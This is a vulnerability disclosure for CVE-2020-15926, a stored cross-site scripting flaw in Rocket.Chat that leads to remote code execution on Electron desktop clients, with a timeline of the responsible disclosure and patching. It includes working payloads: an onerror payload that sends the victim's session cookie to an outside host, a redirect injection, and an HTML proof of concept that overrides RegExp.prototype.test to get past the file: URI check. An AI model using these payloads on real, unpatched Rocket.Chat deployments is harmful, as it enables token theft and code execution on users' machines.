Rocket.Chat Cross-Site Scripting leading to Remote Code Execution CVE-2020-15926

Product description

Rocket.Chat [https://rocket.chat] is an open source multiplatform messaging application similar to Slack. It is available as a self-hosted solution or in a SaaS model. Rocket.Chat can be used via a web browser, iOS, Android or using Electron based clients available for Windows, Linux and MacOS.

Affected software

The following application versions are vulnerable:

Rocket.Chat <= 3.4.2 (verified on 3.4.0 and 3.4.2) [https://github.com/RocketChat/Rocket.Chat/releases/tag/3.4.2].

The vulnerability could be exploited in web and desktop clients. Mobile clients were not affected by this issue.

Vulnerability description

A malicious user can send a specially crafted message either to a channel or in a direct message to another user which will result in executing JavaScript in the victim's browser or inside the desktop client when the victim will use the “Reply in Thread” functionality. In the case of desktop clients cross-site scripting (XSS) vulnerability leads to a remote code execution (RCE). CVE-2020-15926 was assigned to this issue.

Details and Exploitation

This section is divided into two parts, first one demonstrates the XSS issue itself and the second shows how the vulnerability can be used to achieve remote code execution on a Electron based desktop client.

Cross-Site Scripting

In order to reproduce the issue a user has to post a pretty standard XSS payload either to a channel or send a direct message:

<img src=x onerror=alert(document.domain)>

In order to trigger the XSS the victim has to start a thread:

and the payload gets executed:

More practical payload stealing user’s token can look like this:

<img src=x onerror='new Image().src="https://overflow.pl/xss_leak?" + document.cookie'>

Demo video: https://www.youtube.com/watch?v=z-33gCvy3mc

The above scenario works on both Rocket.Chat, web and desktop clients.

Remote Code Execution

For desktop clients we can exploit this issue even further to execute arbitrary code on the user’s machine. While investigating previous issues with Rocket.Chat desktop clients we found the following report [https://hackerone.com/reports/276031] by Matt Austin which provided a method for bypassing the checks preventing us from opening a file: URI by overloading Regexp.prototype.test using a JavaScript Proxy object [https://github.com/RocketChat/Rocket.Chat.Electron/blob/d9e3bc2d313a3eb84e644249c9cd029b12e482bb/src/preload/links.js]. The only thing that needed to be adjusted in the code was the path to the application we wanted to run:

<!--

file: check bypass code by Matt Austin from https://hackerone.com/reports/276031

-->

<!DOCTYPE html>

<html>

    <head>

      <script>

        RegExp.prototype.test = new Proxy(RegExp.prototype.test, {

          apply: function(target, thisArg, argumentsList) {

          if((thisArg.source == '^file:\\/\\/.+') && (argumentsList[0] === 'file:///System/Applications/Calculator.app/')){

            return false;

          }

          return Reflect.apply(target, thisArg, argumentsList)

          }

        });

        setTimeout(()=>{

            a = document.createElement("a")

            a.href="file:///System/Applications/Calculator.app/"

            document.body.appendChild(a)

            a.click()

        }, 3000);

      </script>

    </head>

    <body>

     <h1>Rocket.Chat XSS to RCE PoC</h1>

    </body>

</html>

After the RCE payload has been prepared now it’s time to trigger the XSS in the Rocket.Chat e.g. by using the following inject:

<img src=x onerror="location='https://overflow.pl/rocket/ele.html'">

Demo video: https://www.youtube.com/watch?v=9-6ETw72u34

Timeline

• 02/07/2020 – Issue has been discovered and reported to Rocket.Chat (version 3.4.0 / 2.7.9).
• 02/07/2020 – Report has been acknowledged, more details requested.
• 03/07/2020 – Provided more details and demonstrated escalating the issue to RCE on desktop clients.
• 08/07/2020 – Status update requested.
• 08/07/2020 – Rocket.Chat replied they need more time to verify the issue.
• 17/07/2020 – Sent an update that the issue is still reproducible in the latest version (3.4.2 / 2.7.10).
• 21/07/2020 – Status update requested.
• 22/07/2020 – Rocket.Chat replied that they managed to reproduce the issue and are working on it.
• 23/07/2020 – Fix has been pushed to the Rocket.Chat repo [https://github.com/RocketChat/Rocket.Chat/pull/18356/files]
• 24/07/2020 – CVE-2020-15926 has been assigned to this vulnerability
• 28/07/2020 – Rocket.Chat 3.5.0 released that fixed the issue* [https://github.com/RocketChat/Rocket.Chat/releases/tag/3.5.0]
• 29/07/2020 - confirmed the fix and informed about the intention and date of publishing information about the vulnerability
• 31/07/2020 - Rocket.Chat 3.4.3 released that included the fix* as well [https://github.com/RocketChat/Rocket.Chat/releases/tag/3.4.3]
• 02/08/2020 - Rocket.Chat informed about intention of releasing fixes for other supported versions
• 05/08/2020 - Rocket.Chat confirmed that the fixes were rolled out in 3.5.0 and 3.4.3
• 18/08/2020 - This post has been published

* Rocket.Chat patches security vulnerabilities as silent fixes, meaning the users / administrators may not be aware that the current version they are using may have a critical security flaw and should be updated as soon as possible. We have raised our concerns regarding that policy to the Rocket.Chat team which informed us they are working on improving the process of informing about security vulnerabilities.